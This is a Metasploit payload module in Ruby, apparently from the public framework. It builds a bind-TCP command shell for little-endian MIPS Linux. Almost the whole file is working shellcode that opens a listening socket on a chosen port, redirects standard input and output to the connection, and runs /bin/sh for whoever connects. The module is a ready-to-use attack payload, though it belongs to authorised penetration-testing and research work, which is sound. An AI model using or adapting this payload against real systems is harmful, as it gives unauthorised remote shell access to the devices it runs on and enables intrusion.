1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 232
8

9
  include Msf::Payload::Single
10
  include Msf::Sessions::CommandShellOptions
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Linux Command Shell, Bind TCP Inline',
17
        'Description' => 'Listen for a connection and spawn a command shell',
18
        'Author' => [
19
          'scut', # Original mips-irix-portshell shellcode
20
          'vaicebine',        # Original shellcode mod
21
          'Vlatko Kosturjak', # Metasploit module
22
          'juan vazquez'      # Small fixes and optimizations
23
        ],
24
        'License' => MSF_LICENSE,
25
        'Platform' => 'linux',
26
        'Arch' => ARCH_MIPSLE,
27
        'Handler' => Msf::Handler::BindTcp,
28
        'Session' => Msf::Sessions::CommandShellUnix,
29
        'Payload' => {
30
          'Offsets' => {},
31
          'Payload' => ''
32
        }
33
      )
34
    )
35
  end
36

37
  def generate(_opts = {})
38
    if !datastore['LPORT']
39
      return super
40
    end
41

42
    port = Integer(datastore['LPORT'])
43
    port = [port].pack('n').unpack('cc')
44

45
    shellcode =
46
      "\xe0\xff\xbd\x27" + #     addiu   sp,sp,-32
47
      "\xfd\xff\x0e\x24" + #     li      t6,-3
48
      "\x27\x20\xc0\x01" + #     nor     a0,t6,zero
49
      "\x27\x28\xc0\x01" + #     nor     a1,t6,zero
50
      "\xff\xff\x06\x28" + #     slti    a2,zero,-1
51
      "\x57\x10\x02\x24" + #     li      v0,4183 ( __NR_socket )
52
      "\x0c\x01\x01\x01" + #     syscall
53
      "\xff\xff\x50\x30" + #     andi    s0,v0,0xffff
54
      "\xef\xff\x0e\x24" + #     li      t6,-17                        ; t6: 0xffffffef
55
      "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x10 (16)
56
      port.pack('C2') + "\x0d\x24" + #     li      t5,0xFFFF (port)   ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
57
      "\x04\x68\xcd\x01" + #     sllv    t5,t5,t6                      ; t5: 0x5c110000
58
      "\xfd\xff\x0e\x24" + #     li      t6,-3                         ; t6: -3
59
      "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x2
60
      "\x25\x68\xae\x01" + #     or      t5,t5,t6                      ; t5: 0x5c110002
61
      "\xe0\xff\xad\xaf" + #     sw      t5,-32(sp)
62
      "\xe4\xff\xa0\xaf" + #     sw      zero,-28(sp)
63
      "\xe8\xff\xa0\xaf" + #     sw      zero,-24(sp)
64
      "\xec\xff\xa0\xaf" + #     sw      zero,-20(sp)
65
      "\x25\x20\x10\x02" + #     or      a0,s0,s0
66
      "\xef\xff\x0e\x24" + #     li      t6,-17
67
      "\x27\x30\xc0\x01" + #     nor     a2,t6,zero
68
      "\xe0\xff\xa5\x23" + #     addi    a1,sp,-32
69
      "\x49\x10\x02\x24" + #     li      v0,4169 ( __NR_bind )A
70
      "\x0c\x01\x01\x01" + #     syscall
71
      "\x25\x20\x10\x02" + #     or      a0,s0,s0
72
      "\x01\x01\x05\x24" + #     li      a1,257
73
      "\x4e\x10\x02\x24" + #     li      v0,4174 ( __NR_listen )
74
      "\x0c\x01\x01\x01" + #     syscall
75
      "\x25\x20\x10\x02" + #     or      a0,s0,s0
76
      "\xff\xff\x05\x28" + #     slti    a1,zero,-1
77
      "\xff\xff\x06\x28" + #     slti    a2,zero,-1
78
      "\x48\x10\x02\x24" + #     li      v0,4168 ( __NR_accept )
79
      "\x0c\x01\x01\x01" + #     syscall
80
      "\xff\xff\xa2\xaf" + #     sw v0,-1(sp) # socket
81
      "\xfd\xff\x11\x24" + #     li s1,-3
82
      "\x27\x88\x20\x02" + #     nor s1,s1,zero
83
      "\xff\xff\xa4\x8f" + #     lw a0,-1(sp)
84
      "\x21\x28\x20\x02" + #     move a1,s1 # dup2_loop
85
      "\xdf\x0f\x02\x24" + #     li v0,4063 ( __NR_dup2 )
86
      "\x0c\x01\x01\x01" + #     syscall 0x40404
87
      "\xff\xff\x10\x24" + #     li s0,-1
88
      "\xff\xff\x31\x22" + #     addi s1,s1,-1
89
      "\xfa\xff\x30\x16" + #     bne s1,s0 <dup2_loop>
90
      "\xff\xff\x06\x28" + #     slti a2,zero,-1
91
      "\x62\x69\x0f\x3c" + #     lui t7,0x2f2f "bi"
92
      "\x2f\x2f\xef\x35" + #     ori t7,t7,0x6269 "//"
93
      "\xec\xff\xaf\xaf" + #     sw t7,-20(sp)
94
      "\x73\x68\x0e\x3c" + #     lui t6,0x6e2f "sh"
95
      "\x6e\x2f\xce\x35" + #     ori t6,t6,0x7368 "n/"
96
      "\xf0\xff\xae\xaf" + #     sw t6,-16(sp)
97
      "\xf4\xff\xa0\xaf" + #     sw zero,-12(sp)
98
      "\xec\xff\xa4\x27" + #     addiu a0,sp,-20
99
      "\xf8\xff\xa4\xaf" + #     sw a0,-8(sp)
100
      "\xfc\xff\xa0\xaf" + #     sw zero,-4(sp)
101
      "\xf8\xff\xa5\x27" + #     addiu a1,sp,-8
102
      "\xab\x0f\x02\x24" + #     li v0,4011 ( __NR_execve )
103
      "\x0c\x01\x01\x01"   #     syscall 0x40404
104

105
    return super + shellcode
106
  end
107
end
108

109